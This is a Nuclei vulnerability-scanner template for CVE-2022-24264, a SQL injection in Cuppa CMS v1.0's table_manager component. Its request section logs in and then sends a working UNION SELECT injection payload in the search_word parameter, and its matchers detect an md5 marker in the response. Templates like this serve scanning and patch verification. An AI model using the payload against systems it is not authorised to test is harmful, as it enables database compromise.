nuclei-templates/http/cves/2022/CVE-2022-24264.yaml

68 lines
2.0 KiB
YAML

id: CVE-2022-24264
info:
name: Cuppa CMS v1.0 - SQL injection
author: theamanrawat
severity: high
description: |
Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the search_word parameter.
remediation: |
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
reference:
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-24264
- https://github.com/truonghuuphuc/CVE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-24264
cwe-id: CWE-89
epss-score: 0.06646
epss-percentile: 0.93017
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,sqli,cuppa,authenticated
variables:
num: '999999999'
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /components/table_manager/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
search_word=')+union+all+select+1,md5('{{num}}'),3,4,5,6,7,8--+-&order_by=id&order_orientation=ASC&path=component%2Ftable_manager%2Fview%2Fcu_countries&uniqueClass=wrapper_content_518284
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '{{md5(num)}}'
- 'td_available_languages'
condition: and
- type: word
part: header_2
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220139b79e19c2f92c9e69a4757d6a5dd1d28322975f76d92cedb9b7f0a108ef5d7022100c665bc6fd1782afdfd512424a0a85c41409d238c4c5ff4d8f78a3af45cff2909:922c64590222798bb761d5b6d8e72950